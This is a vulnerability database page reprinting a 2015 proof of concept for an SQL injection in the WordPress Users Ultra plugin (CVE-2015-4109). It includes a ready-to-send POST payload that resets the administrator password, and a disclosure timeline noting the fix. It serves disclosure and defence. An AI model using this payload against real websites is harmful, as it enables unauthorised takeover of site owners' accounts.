| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| WordPress Users Ultra Plugin SQL Injection Vulnerability | 10 Jun 201500:00 | – | cnvd | |
| CVE-2015-4109 | 9 Jun 201514:00 | – | cve | |
| CVE-2015-4109 | 9 Jun 201514:00 | – | cvelist | |
| EUVD-2015-4134 | 7 Oct 202500:30 | – | euvd | |
| CVE-2015-4109 | 9 Jun 201514:59 | – | nvd | |
| WordPress Users Ultra Plugin <= 1.5.15 - Multiple SQL Injection | 28 May 201500:00 | – | patchstack | |
| Sql injection | 9 Jun 201514:59 | – | prion | |
| CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection] | 8 Jun 201500:00 | – | securityvulns | |
| Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl) | 8 Jun 201500:00 | – | securityvulns | |
| Users Ultra <= 1.5.15 - SQL Injection | 4 Jun 201500:00 | – | wpvulndb |
`# Exploit Title: CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection]
# Date: 2015/05/30
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://usersultra.com
# Software Link: https://wordpress.org/plugins/users-ultra/
# Version: 1.5.15
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4109
One can perform an SQL injection attack simply by exploiting wp_ajax_nopriv_rating_vote action.
POST parameters data_target and data_vote can be used to execute arbitrary SQL commands in the database.
In the following PoC we change the administrators password to '1' so a malicious user can then login as the administrator, taking full control of the website.
* Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: action=rating_vote&data_id=1
&data_target=user_id IN (1); UPDATE wp_users set user_pass=MD5(1) where ID &data_vote=1
* Login with administrator's user name and password '1'
Note that we assume that table name prefix is 'wp' and administrators user id is 1, a very common scenario.
* Timeline
2015-05-29 Discovered
2015-05-30 Vendor notified via contact form
2015-06-01 Vendor notified via email
2015-06-02 Vendor notified via support forums at wordpress.org
2015-06-02 Vendor responded
2015-06-04 Fix released in version 1.5.16
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation